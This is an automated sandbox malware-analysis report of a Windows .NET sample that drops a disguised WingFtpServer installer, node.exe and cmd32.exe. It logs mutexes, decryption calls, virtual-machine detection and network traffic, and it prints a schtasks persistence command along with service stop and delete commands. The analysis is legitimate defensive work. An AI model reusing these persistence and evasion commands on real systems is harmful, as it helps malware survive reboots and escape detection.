Source: z5i6tLOUD0.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1952:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5912:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2684:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4688:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5184:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4264:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4948:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3520:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5328:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:956:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1276:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2744:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4968:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4896:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3148:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4948:120:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3244
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4444:120:WilError_01

Source: z5i6tLOUD0.exe, u0097u0011/u009du0011.cs	Cryptographic APIs: 'CreateDecryptor'
Source: z5i6tLOUD0.exe, u0097u0011/u009du0011.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: z5i6tLOUD0.exe, u0097u0011/u009du0011.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: cmd32.exe.3.dr, u0097u0011/u009du0011.cs	Cryptographic APIs: 'CreateDecryptor'
Source: cmd32.exe.3.dr, u0097u0011/u009du0011.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: cmd32.exe.3.dr, u0097u0011/u009du0011.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\WindowsNetService\node.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\WindowsNetService\node.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Window found: window name: TSelectLanguageForm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: Next >
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Automated click: I accept the agreement

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: z5i6tLOUD0.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: z5i6tLOUD0.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: z5i6tLOUD0.exe

Static file information: File size 21082624 > 1048576

Source: z5i6tLOUD0.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x1417c00

Source: z5i6tLOUD0.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: WaaSMedicSvc.pdb source: waasmedic.20220912_171757_809.etl.16.dr
Source:	Binary string: c:\ws\out\Release\node.pdb source: node.exe, 00000022.00000002.604744457.0000000001801000.00000040.00000001.01000000.0000000E.sdmp

Data Obfuscation

Obfuscated command line found

Source: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe	Process created: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp "C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp" /SL5="$403E6,13223801,146432,C:\Users\user\AppData\Local\Temp\WingFtpServer.exe"
Source: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe	Process created: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp "C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp" /SL5="$403E6,13223801,146432,C:\Users\user\AppData\Local\Temp\WingFtpServer.exe"			Jump to behavior

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Code function: 0_2_03B74B7A push edx; retf	0_2_03B74B7B
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Code function: 0_2_03B749B6 push esp; retf	0_2_03B749B8
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Code function: 0_2_03B735C8 push ds; iretd	0_2_03B735CE
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Code function: 0_2_03B74CCE push ecx; retf	0_2_03B74CCF
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AC33FC push ecx; mov dword ptr [esp], ecx	18_2_03AC33FF
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03B053D4 push ecx; mov dword ptr [esp], ecx	18_2_03B053D8
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AC33D8 push ecx; mov dword ptr [esp], ecx	18_2_03AC33DB
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ADE3D4 push ecx; mov dword ptr [esp], eax	18_2_03ADE3D6
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AC033C push ecx; mov dword ptr [esp], edx	18_2_03AC033E
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AAB368 push ecx; mov dword ptr [esp], edx	18_2_03AAB369
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AD9354 push ecx; mov dword ptr [esp], eax	18_2_03AD9355
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AB92B8 push 03AB92F0h; ret	18_2_03AB92E8
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AB02D8 push 03AB035Bh; ret	18_2_03AB0353
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AA71B0 push ecx; mov dword ptr [esp], eax	18_2_03AA71B1
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03B0617C push ecx; mov dword ptr [esp], eax	18_2_03B0617D
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AAE164 push ecx; mov dword ptr [esp], eax	18_2_03AAE169
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AC60C8 push 03AC6156h; ret	18_2_03AC614E
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AC1038 push ecx; mov dword ptr [esp], ecx	18_2_03AC103C
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AD77A4 push ecx; mov dword ptr [esp], edx	18_2_03AD77A7
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ADD750 push ecx; mov dword ptr [esp], edx	18_2_03ADD751
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03B096B0 push ecx; mov dword ptr [esp], ecx	18_2_03B096B4
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ACF6A8 push 03ACF7ACh; ret	18_2_03ACF7A4
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AAF56C push ecx; mov dword ptr [esp], edx	18_2_03AAF56D
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AC3564 push ecx; mov dword ptr [esp], ecx	18_2_03AC3565
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AD2570 push ecx; mov dword ptr [esp], edx	18_2_03AD2572
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AC34AC push ecx; mov dword ptr [esp], ecx	18_2_03AC34AD
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ACEB24 push ecx; mov dword ptr [esp], eax	18_2_03ACEB25
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03B08B0C push ecx; mov dword ptr [esp], ecx	18_2_03B08B11
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03B08AA0 push ecx; mov dword ptr [esp], eax	18_2_03B08AA2
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03ACEAF4 push ecx; mov dword ptr [esp], eax	18_2_03ACEAF5
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AD28E0 push ecx; mov dword ptr [esp], edx	18_2_03AD28E2

Source: WingFtpServer.tmp.14.dr	Static PE information: section name: .wtext
Source: setuphelper.dll.18.dr	Static PE information: section name: .didata

Source: initial sample

Static PE information: section where entry point is pointing to: .wtext

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File created: C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	File created: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File created: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File created: C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	File created: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	File created: C:\Users\user\AppData\Local\Temp\nsz2A01.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	File created: C:\Program Files (x86)\WindowsNetService\node.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe	File created: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Roaming\cmd32.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File created: C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\setuphelper.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f

Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp

Process created: C:\Windows\SysWOW64\net.exe "net" stop windowsnetservicehelper.exe

Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp

Process created: C:\Windows\SysWOW64\sc.exe "sc" delete windowsnetservicehelper.exe

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Code function: 18_2_03BC4964 RunService,OpenSCManagerW,OpenServiceW,StartServiceW,Sleep,TranslateMessage,DispatchMessageW,PeekMessageW,Sleep,QueryServiceStatus,CloseServiceHandle,CloseServiceHandle,

18_2_03BC4964

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 6101
Source: unknown	Network traffic detected: HTTP traffic on port 6101 -> 49753

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\WindowsNetService\node.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DefaultIPGateway, GatewayCostMetric, IPConnectionMetric, Index FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DefaultIPGateway, GatewayCostMetric, IPConnectionMetric, Index FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DefaultIPGateway, GatewayCostMetric, IPConnectionMetric, Index FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT DefaultIPGateway, GatewayCostMetric, IPConnectionMetric, Index FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=true
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NetConnectionID, MACAddress FROM Win32_NetworkAdapter WHERE Index=1

Source: C:\Users\user\Desktop\z5i6tLOUD0.exe TID: 5060	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\z5i6tLOUD0.exe TID: 5656	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp TID: 3868	Thread sleep count: 70 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4640	Thread sleep time: -120000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
